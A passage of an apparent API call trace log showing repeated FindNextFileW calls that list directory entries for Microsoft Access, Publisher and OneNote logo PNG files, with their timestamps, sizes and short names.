ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd80, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.scale-180.png", cAlternateFileName="MSDBE4~1.PNG")) returned 1 [0102.425] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x79f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsAccessLogoSmall.scale-80.png", cAlternateFileName="MSF5B2~1.PNG")) returned 1 [0102.425] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x878, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-black_scale-100.png", cAlternateFileName="MSPUBL~4.PNG")) returned 1 [0102.425] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xad5, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-black_scale-140.png", cAlternateFileName="MSPUBL~3.PNG")) returned 1 [0102.425] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a68b471, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a68b471, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd19, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-black_scale-180.png", cAlternateFileName="MSPUBL~2.PNG")) returned 1 [0102.425] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a665235, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a665235, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a68b471, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-black_scale-80.png", cAlternateFileName="MSPUBL~1.PNG")) returned 1 [0102.425] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x88a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-white_scale-100.png", cAlternateFileName="MSF61D~1.PNG")) returned 1 [0102.425] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xae4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-white_scale-140.png", cAlternateFileName="MS39EB~1.PNG")) returned 1 [0102.425] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-white_scale-180.png", cAlternateFileName="MSEB57~1.PNG")) returned 1 [0102.425] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.contrast-white_scale-80.png", cAlternateFileName="MS7453~1.PNG")) returned 1 [0102.425] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x892, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.scale-100.png", cAlternateFileName="MSAA06~1.PNG")) returned 1 [0102.425] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.scale-140.png", cAlternateFileName="MSD8D3~1.PNG")) returned 1 [0102.426] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xcf3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.scale-180.png", cAlternateFileName="MS2668~1.PNG")) returned 1 [0102.426] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogo.scale-80.png", cAlternateFileName="MS75BF~1.PNG")) returned 1 [0102.426] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x71c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-black_scale-100.png", cAlternateFileName="MSD973~1.PNG")) returned 1 [0102.426] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6b16ff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-black_scale-140.png", cAlternateFileName="MS97A4~1.PNG")) returned 1 [0102.426] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-black_scale-180.png", cAlternateFileName="MSE439~1.PNG")) returned 1 [0102.426] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x637, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-black_scale-80.png", cAlternateFileName="MSE1AD~1.PNG")) returned 1 [0102.426] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x717, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-white_scale-100.png", cAlternateFileName="MS5BCF~1.PNG")) returned 1 [0102.426] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-white_scale-140.png", cAlternateFileName="MSA854~1.PNG")) returned 1 [0102.426] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-white_scale-180.png", cAlternateFileName="MSD622~1.PNG")) returned 1 [0102.426] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x62e, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.contrast-white_scale-80.png", cAlternateFileName="MS6539~1.PNG")) returned 1 [0102.426] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.scale-100.png", cAlternateFileName="MSA9CC~1.PNG")) returned 1 [0102.426] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.scale-140.png", cAlternateFileName="MSD79A~1.PNG")) returned 1 [0102.429] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.scale-180.png", cAlternateFileName="MS99FA~1.PNG")) returned 1 [0102.429] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6b16ff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6b16ff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x66c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MsPubLogoSmall.scale-80.png", cAlternateFileName="MSC667~1.PNG")) returned 1 [0102.429] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x89b, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-black_scale-100.png", cAlternateFileName="ONAFA7~1.PNG")) returned 1 [0102.429] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-black_scale-140.png", cAlternateFileName="ON5141~1.PNG")) returned 1 [0102.430] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xda4, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-black_scale-180.png", cAlternateFileName="ON04BC~1.PNG")) returned 1 [0102.430] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7f5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-black_scale-80.png", cAlternateFileName="ONBA8A~1.PNG")) returned 1 [0102.430] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x896, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-white_scale-100.png", cAlternateFileName="ON2104~1.PNG")) returned 1 [0102.430] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xab5, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-white_scale-140.png", cAlternateFileName="ONENOT~1.PNG")) returned 1 [0102.430] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-white_scale-180.png", cAlternateFileName="ON8260~1.PNG")) returned 1 [0102.430] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x806, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.contrast-white_scale-80.png", cAlternateFileName="ONENOT~4.PNG")) returned 1 [0102.430] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8db, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.scale-100.png", cAlternateFileName="ONENOT~3.PNG")) returned 1 [0102.430] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6d794e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6d794e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6d794e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xae7, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.scale-140.png", cAlternateFileName="ONENOT~2.PNG")) returned 1 [0102.430] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd46, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.scale-180.png", cAlternateFileName="ON52BA~1.PNG")) returned 1 [0102.430] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x80d, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogo.scale-80.png", cAlternateFileName="ONF020~1.PNG")) returned 1 [0102.430] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x73a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-black_scale-100.png", cAlternateFileName="ON193B~1.PNG")) returned 1 [0102.430] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-black_scale-140.png", cAlternateFileName="ON585A~1.PNG")) returned 1 [0102.430] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x9b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-black_scale-180.png", cAlternateFileName="ON9A29~1.PNG")) returned 1 [0102.431] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x605, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-black_scale-80.png", cAlternateFileName="ON3426~1.PNG")) returned 1 [0102.431] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x73a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-white_scale-100.png", cAlternateFileName="ON2492~1.PNG")) returned 1 [0102.431] FindNextFileW (in: hFindFile=0x3b529f0, lpFindFileData=0x347ea58 | out: lpFindFileData=0x347ea58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a6fdbb6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1a6fdbb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1a6fdbb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x7ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneNoteLogoSmall.contrast-white_scale-140.png", cAlternateFileName="OND60E~1.PNG")) returned 1 [0102.431] 